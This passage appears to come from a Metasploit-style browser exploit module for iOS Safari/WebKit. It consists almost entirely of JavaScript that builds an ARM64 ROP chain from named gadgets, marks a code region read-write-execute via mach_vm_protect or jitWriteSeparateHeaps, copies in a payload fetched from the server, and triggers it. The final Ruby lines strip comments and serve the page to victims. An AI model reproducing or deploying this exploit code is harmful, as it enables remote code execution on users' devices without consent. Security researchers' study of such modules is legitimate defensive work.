arr[pos++] = func.lo(); // x21 (target for dispatch)
arr[pos++] = func.hi(); // x21 (target for dispatch)
arr[pos++] = 0xdead0018; // x20 (unused)
arr[pos++] = 0xdead0019; // x20 (unused)
var tmppos = pos;
arr[pos++] = Add(stack, tmppos*4).lo(); // x19 (scratch address for str x8, [x19])
arr[pos++] = Add(stack, tmppos*4).hi(); // x19 (scratch address for str x8, [x19])
arr[pos++] = 0xdead001c; // x29 (unused)
arr[pos++] = 0xdead001d; // x29 (unused)
arr[pos++] = ldrx8.lo(); // x30 (next gadget)
arr[pos++] = ldrx8.hi(); // x30 (next gadget)
// in ldrx8
if (x4) {
arr[pos++] = stackloader.lo();
arr[pos++] = stackloader.hi();
} else {
arr[pos++] = dispatch.lo(); // x8 (target for regloader)
arr[pos++] = dispatch.hi(); // x8 (target for regloader)
}
arr[pos++] = 0xdead1401; // (unused)
arr[pos++] = 0xdead1402; // (unused)
arr[pos++] = 0xdead1301; // x20 (unused)
arr[pos++] = 0xdead1302; // x20 (unused)
arr[pos++] = x1.lo(); // x19 == x1 (arg2)
arr[pos++] = x1.hi(); // x19 == x1 (arg2)
arr[pos++] = 0xdead1201; // x29 (unused)
arr[pos++] = 0xdead1202; // x29 (unused)
arr[pos++] = regloader.lo(); // x30 (next gadget)
arr[pos++] = regloader.hi(); // x30 (next gadget)
// in regloader
// NOTE: REGLOADER DOES NOT ADJUST SP!
// sometimes i didn't get expected value in x4
// and i have no fucking idea why
// usleep likely did the trick, but I would still keep the code
// with movx4
//arr[pos++] = x4.lo() // x4 (should be -- but see lines above)
//arr[pos++] = x4.hi() // x4 (should be -- but see lines above)
if (x4) {
// in stackloader:
arr[pos++] = 0xdaad0010; // unused
arr[pos++] = 0xdaad0011; // unused
arr[pos++] = 0xdaad0012; // unused
arr[pos++] = 0xdaad0013; // unused
arr[pos++] = 0xdaad1101; // x28 (unused)
arr[pos++] = 0xdaad1102; // x28 (unused)
arr[pos++] = 0xdaad0014; // x27 == x6 (unused)
arr[pos++] = 0xdaad0015; // x27 == x6 (unused)
arr[pos++] = 0xdaad0016; // x26 (unused)
arr[pos++] = 0xdaad0017; // x26 (unused)
arr[pos++] = 0xdaad0018; // x25 (unused)
arr[pos++] = 0xdaad0019; // x25 (unused)
arr[pos++] = 0xdaad00f0; // x24 (unused)
arr[pos++] = 0xdaad00f1; // x24 (unused)
arr[pos++] = 0xdaad00f2; // x23 (unused)
arr[pos++] = 0xdaad00f3; // x23 (unused)
arr[pos++] = 0xdaad00f4; // x22 (unused)
arr[pos++] = 0xdaad00f5; // x22 (unused)
arr[pos++] = func.lo(); // x21 (target for dispatch)
arr[pos++] = func.hi(); // x21 (target for dispatch)
arr[pos++] = 0xdaad0018; // x20 (unused)
arr[pos++] = 0xdaad0019; // x20 (unused)
tmppos = pos;
arr[pos++] = Add(stack, tmppos*4).lo(); // x19 (scratch address for str x8, [x19])
arr[pos++] = Add(stack, tmppos*4).hi(); // x19 (scratch address for str x8, [x19])
arr[pos++] = 0xdaad001c; // x29 (unused)
arr[pos++] = 0xdaad001d; // x29 (unused)
arr[pos++] = ldrx8.lo(); // x30 (next gadget)
arr[pos++] = ldrx8.hi(); // x30 (next gadget)
// in ldrx8
arr[pos++] = dispatch.lo(); // x8 (target for movx4)
arr[pos++] = dispatch.hi(); // x8 (target for movx4)
arr[pos++] = 0xdaad1401; // (unused)
arr[pos++] = 0xdaad1402; // (unused)
arr[pos++] = x4.lo(); // x20 == x4 (arg5)
arr[pos++] = x4.hi(); // x20 == x4 (arg5)
arr[pos++] = 0xdaad1301; // x19 (unused)
arr[pos++] = 0xdaad1302; // x19 (unused)
arr[pos++] = 0xdaad1201; // x29 (unused)
arr[pos++] = 0xdaad1202; // x29 (unused)
arr[pos++] = movx4.lo(); // x30 (next gadget)
arr[pos++] = movx4.hi(); // x30 (next gadget)
}
// after dispatch:
// keep only one: these or 0xdeaded01
arr[pos++] = 0xdead0022; // unused
arr[pos++] = 0xdead0023; // unused
arr[pos++] = 0xdead0022; // unused
arr[pos++] = 0xdead0023; // unused
arr[pos++] = 0xdead0024; // x22 (unused)
arr[pos++] = 0xdead0025; // x22 (unused)
arr[pos++] = 0xdead0026; // x21 (unused)
arr[pos++] = 0xdead0027; // x21 (unused)
arr[pos++] = 0xdead0028; // x20 (unused)
arr[pos++] = 0xdead0029; // x20 (unused)
arr[pos++] = 0xdead002a; // x19 (unused)
arr[pos++] = 0xdead002b; // x19 (unused)
arr[pos++] = 0xdead002c; // x29 (unused)
arr[pos++] = 0xdead002d; // x29 (unused)
arr[pos++] = jump_to.lo(); // x30 (gadget)
arr[pos++] = jump_to.hi(); // x30 (gadget)
}
var add_call = function(func, x0, x1, x2, x3, x4, jump_to) {
x0 = x0 || Int64.Zero
x1 = x1 || Int64.Zero
x2 = x2 || Int64.Zero
x3 = x3 || Int64.Zero
jump_to = jump_to || stackloader
return (ldrx8 ? add_call_via_x8 : add_call_llvm)(
func, x0, x1, x2, x3, x4, jump_to
)
}
#{ios_11 ? '
if (jitWriteSeparateHeaps.lo() || jitWriteSeparateHeaps.hi()) {
add_call(jitWriteSeparateHeaps
, Sub(codeAddr, memPoolStart) // off
, paddr // src
, shsz // size
);
} else {
fail("jitWrite");
}
' : '
add_call(mach_vm_protect,
mach_task_self_, // task
codeAddr, // addr
shsz, // size
new Int64(0), // set maximum
new Int64(7) // prot (RWX)
);
add_call(memmove,
codeAddr, // dst
paddr, // src
shsz // size
);
'}
add_call(codeAddr,
dlopen,
dlsym,
jitWriteSeparateHeaps,
memPoolStart,
memPoolEnd,
);
for(var i = 0; i < 0x20; ++i)
{
arr[pos++] = 0xde00c0de + (i<<16);
}
var sp = Add(stack, (arrsz - off) * 4);
memory.writeInt64(Add(el_addr, 0x60), Add(sp, 0x60)); // x29
memory.writeInt64(Add(el_addr, 0x68), sp); // x2 (copied into sp)
// trigger
//print("u rdy?")
wrapper.addEventListener("click", function(){});
}
#{get_mem_rw}
function go() {
try {
var req = new XMLHttpRequest;
req.open("GET", "exploit");
req.responseType = "arraybuffer";
req.addEventListener("load", function() {
try {
if (req.responseType != "arraybuffer") throw "y u no blob";
payload.set(new Uint8Array(req.response), 0x0);
pwn();
} catch (e) {
fail("Error: " + e + (e != null ? " " + e.stack : ""))
}
});
req.addEventListener("error", function(ev) {
fail(ev)
});
req.send()
} catch (e) {
fail("Error: " + e + (e != null ? " " + e.stack : ""))
}
};
go();
</script>
</body>
</html>
^
unless datastore['DEBUG_EXPLOIT']
html.gsub!(/\/\/.*$/, '') # strip comments
html.gsub!(/^\s*print\s*\(.*?\);\s*$/, '') # strip print(*);
end
send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control' => 'no-cache, no-store, must-revalidate', 'Pragma' => 'no-cache', 'Expires' => '0'})
end
end